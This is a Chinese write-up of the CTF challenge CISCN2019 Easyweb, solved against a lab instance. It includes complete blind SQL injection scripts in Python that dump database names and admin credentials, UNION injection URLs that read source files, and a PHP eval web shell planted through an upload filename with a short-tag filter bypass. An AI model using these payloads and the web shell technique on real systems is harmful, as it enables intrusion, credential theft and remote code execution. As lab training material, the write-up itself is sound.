[CISCN2019 总决赛 Day2 Web1]Easyweb
打开网页发现登录页面,先扫描目录试试,发现/robots.txt ,查看robots.txt :
User-agent: *
Disallow: *.php.bak
方法一 寻找备份文件
发现源码有备份,但我们并不知道源码文件的名字是什么,按F12 ,发现图片与一个带有id 的php 文件有关,尝试下载image.php.bak ,得到image.php :
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
查询PHP手册:
addslashes (PHP 4, PHP 5, PHP 7, PHP 8) addslashes — 使用反斜线引用字符串,返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(' )、双引号(" )、反斜线(\ )与 NUL(null 字符)。
str_replace(array("\\0","%00","\\'","'"),"",$id); 表示id 里面的\0 ,%00 ,\' ,' 会被替换掉。如果我们想让我们的sql查询语句生效,就必须让
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
这句话里面的其中一个带引号逃逸变成一个字符,所以需要\' 这样的结构,考虑到str_replace 给id 和path 做了替换,所以我们可以构造:id=\0 (这里的\ 已经被转义了,\ 、0 是两个字符),id 经过addslashes 后变为\\0 ,在经过str_replace 替换后变为\ ,所以sql语句变为:
select * from images where id='\' or path='{$path}'
此时,id 变为\' or path= ,所以path 可以随便设置为任何sql查询语句。id为\' or path= 肯定查询出错,所以我们可以设置path 为or ascii(substr(database(),{},1))>{}%23 ,一个字符一个字符查询,如果结果正确,页面就会返回一张猫猫的图片,图片中包含JFIF 关键词,我们可以通过页面是否返回JFIF 判断是否查询成功,编写python 脚本:
import requests
Original_url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php?id=\\0&path="
Success_message = "JFIF"
database_name_payload = " or ascii(substr(database(),{},1))>{}%23"
table_name_payload = " or if((select/**/ascii(substr(group_concat(table_name),{},1))/**/from/**/information_schema.tables/**/where/**/table_schema=database())>{},1,0)%23"
column_name_payload = " or if((select/**/ascii(substr(group_concat(column_name),{},1))/**/from/**/information_schema.columns/**/where/**/table_schema=database())>{},1,0)%23"
def getname(payload):
name = ''
for i in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
url = Original_url + payload.format(i,mid)
RowText = requests.get(url, timeout=100)
if Success_message in RowText.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 32):
print()
break
name += chr(mid)
if "table_name" in payload:
print("\r表名: " + name, end="")
elif "column_name" in payload:
print("\r字段名: " + name, end="")
else:
print("\r数据库名: " + name, end="")
def GetData(table_name, column_name):
data = ''
for i in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
url = Original_url + ' or if(ascii(substr((select/**/{}/**/from/**/{}),{},1)) > {},1, 0)%23'.format(column_name, table_name, i, mid)
RowText = requests.get(url, timeout=100)
if Success_message in RowText.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 32):
print()
break
data += chr(mid)
print(("\r表%s的字段%s数据: " + data) % (table_name, column_name), end="")
getname(database_name_payload)
getname(table_name_payload)
getname(column_name_payload)
GetData("users", "username")
GetData("users", "password")
输出:
数据库名: ciscnfinal
表名: images,users
字段名: id,path,username,password
表users的字段username数据: admin
表users的字段password数据: acccc7e9835270337236
在网页首页输入账号密码,进入文件上传页面,随便上传一个文件,网页回显:
I logged the file name you uploaded to logs/upload.b030468cde3a4f3546849663143ed168.log.php. LOL
网页提示把文件名放在了日志文件里面,而且这个日志文件是php 文件,所以我们可以通过一句话木马作为文件名上传到日志文件,然后用蚁剑连接。随便上传一个文件,然后用Burp Suite 拦截,把文件名filename 修改为<?php @eval($_POST["a"]);?> 。发送请求后,网页提示You cant upload php file. ,可以使用短标签绕过,即<?=@eval($_POST['a']);?> ,随便上传一个文件,然后用Burp Suite 拦截,把文件名filename 修改为<?=@eval($_POST['a']);?> ,最后显示上传成功。
php的配置文件(php.ini)中有一个short_open_tag 的值,PHP开启短标签即short_open_tag=on 时,可以使用<?=$_?> 输出变量,短标签<? ?> 需要php.ini 开启short_open_tag = On ,但<?= ?> 不受该条控制。
<? ?> 相当于<?php ?> <?= ?> 相当于<?php echo ?>
References
[CISCN2019 总决赛 Day2 Web1]Easyweb
php 短标记 short_open_tag_h3110n3w0r1d-CSDN博客
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/logs/upload.b030468cde3a4f3546849663143ed168.log.php
连接密码 a
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,但要跟$_POST["a"] 一致。
连接后查看网站根目录的flag 文件,得到flag 。
References
刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客
方法二 读取源码
通过注入伪造下载地址,读取image.php ,将image.php 转化为16进制:0x696d6167652e706870 ,输入url:
/image.php?id=\0&path=union select 1,0x696d6167652e706870--+
References
[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)
得到image.php 源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
die("What's your problem?");
}
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
die("What's your problem?");
}
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
查看登录页面源码发现还有user.php 文件,再次尝试读取user.php ,输入url:
/image.php?id=\0&path=union select 1,0x757365722e706870--+
得到user.php 源码:
<?php
include "config.php";
include "function.php";
$username="";
if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
header('Location: index.php');
die;
}
if ($username==="")
{
$stmt=$con->prepare("select * from users where username=?");
$stmt->bind_param("s",$_POST["username"]);
$stmt->execute();
$result=$stmt->get_result();
$row=$result->fetch_assoc();
if ($row["password"]===$_POST["password"])
{
$username=$_POST["username"];
setcookie("username",encode($username,$secret));
}
else
{
header('Location: index.php');
die;
}
}
$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;
if ($username!=="admin")
{
echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
echo $admin_html;
}
发现select * from users where username=? 查询语句,说明表users 里面有字段username ,所以尝试获取username ,通过python 脚本sql注入获得user 和password :
import requests
url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php"
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select username from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32):
print()
break
result += chr(int(mid))
print("\r", result, end="")
References
[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客
然后就是跟方法一,一样的步骤。
补充:user.php 中又发现function.php ,读取源码,输入url:
/image.php?id=\0&path=union select 1,0x66756e6374696f6e2e706870--+
得到function.php 源码:
<?php
function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
function decode($str,$key)
{
$str=base64_decode($str);
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return $tmp;
}
function is_login()
{
global $username,$secret;
if (!isset($_COOKIE["username"]))
return false;
$username=decode($_COOKIE["username"],$secret);
return true;
}
function get_real_ip() {
$ip = false;
if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ips, $ip);
$ip = FALSE;}
for ($i = 0; $i < count($ips); $i++) {
if (!eregi("^(10a”?172.16a”?192.168).", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
|